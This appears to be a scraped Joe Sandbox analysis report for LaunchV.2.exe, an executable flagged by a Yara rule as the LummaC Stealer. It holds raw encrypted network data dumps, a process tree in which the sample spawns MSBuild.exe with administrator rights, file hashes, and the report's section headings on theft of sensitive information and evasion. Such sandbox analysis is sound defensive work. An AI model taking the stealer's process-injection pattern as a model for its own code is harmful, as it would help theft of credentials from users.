a1 66 29 60 50 Data Ascii: mCUsglFU2"goEfh,/9y9B4zTlptjz?8{Bbn4Dx2`-b"TI6Vp] x'QtF2m<T:]{?J/\+.5$r]J@Nr&IR(%zV+9,M0yyQ7F*i~F\f)`P
2025-03-16 18:04:08 UTC	1369	IN	Data Raw: ba ae b7 ef b3 31 28 a5 ae ce 94 f0 f0 fa 37 17 a7 05 60 a5 0b f3 1b d6 ba 80 0f ef 92 1d 3b 16 9e 9d 82 43 b6 b2 dc a2 26 41 1f 5d 83 04 0f b9 b1 82 49 31 75 18 f2 ee 79 9a 5c 2f 72 a2 ea 59 ce c3 ad 71 e0 7b cb 19 04 c9 02 df d8 7b b7 e9 08 3a 76 92 93 08 b4 04 d6 0b cb b3 cb df 5c 67 ea e9 17 32 d6 46 08 bc 7b 34 de 24 45 56 98 83 53 56 7b 9e 8d 1f 6c 6a 26 66 ad 68 5c 7e 1e 5a aa d5 79 ea d6 6c 18 de 5d a6 6f f0 f6 31 47 45 ec 6b ec 5a 0d c9 3a a9 2b dc 91 39 49 cf 4e 5b 88 2e e8 3b ad c8 4f c4 93 92 28 3c ab 09 e1 02 02 54 86 c0 50 10 cb 27 ac 7e 5e 04 84 07 cb 07 8f 1e 38 2b 94 70 43 1b 28 58 5c b9 97 2c 3e 87 88 73 16 e9 d9 0d a8 92 87 c3 12 7c b8 3f 2f 49 3c f9 fd d3 ef 65 26 82 e7 92 3d 2f 37 50 c7 d4 02 9b 77 67 a4 8a fd b3 fe 76 24 e0 07 a3 fc Data Ascii: 1(7`;C&A]I1uy\/rYq{{:v\g2F{4$EVSV{lj&fh\~Zyl]o1GEkZ:+9IN[.;O(<TP'~^8+pC(X\,>s\|?/I<e&=/7Pwgv$
2025-03-16 18:04:08 UTC	283	IN	Data Raw: ba ea 73 cc 02 9e fa f9 04 80 61 95 3f 51 d0 6c 69 bc 07 cd 55 f9 1a 51 b1 42 b4 01 96 de 71 5d 43 a4 7a 60 2f 37 12 a1 e6 bf 5d 1c c7 d2 84 49 cc 6c 12 83 85 91 e0 90 e4 4b 82 ca ba 1c 19 f5 53 d4 2d c2 66 34 c7 09 c3 a1 2a d9 e5 d1 33 eb 1d 30 c8 d2 4a b7 dc 2f 8c dc 26 70 c6 9f da 65 fd d6 af cc bf ea 3a 83 9e e8 d3 9d c2 da b9 a9 fa 13 31 94 e0 87 bb eb 98 83 ef bd 56 3f a3 6d 78 24 6a e0 06 9e 07 4d a3 c4 e0 95 4d 58 ca 10 04 44 d9 d2 93 0c b2 51 00 d1 3b c5 82 af 5c 8f 25 e3 3d fa 58 f5 c1 74 0f 11 82 77 e3 3b 2c c0 b9 4f 02 37 87 6f 07 cc d5 3d 74 28 2f c7 37 dc f0 ba 3d 8a 6d 1c 32 b5 43 7c 57 cf 80 4c 4f 88 be e0 21 b5 a8 e4 65 5a fc a6 8a b7 ea 8b 4e a1 cf 41 dc 91 0f 9f de cb ae de f9 fb e6 37 1b 87 af 53 8a 77 80 6d cd 13 1d e5 16 88 93 27 a1 Data Ascii: sa?QliUQBq]Cz`/7]IlKS-f4*30J/&pe:1V?mx$jMMXDQ;\%=Xtw;,O7o=t(/7=m2C\|WLO!eZNA7Swm'

Target ID:	0
Start time:	14:03:58
Start date:	16/03/2025
Path:	C:\Users\user\Desktop\LaunchV.2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\LaunchV.2.exe"
Imagebase:	0x7ff646df0000
File size:	592'896 bytes
MD5 hash:	B7AD5811F05A5CE6664B01DD47D3A1D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:03:58
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:03:58
Start date:	16/03/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x980000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000002.00000002.2427532027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:05:09
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LaunchV.2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
LaunchV.2.exe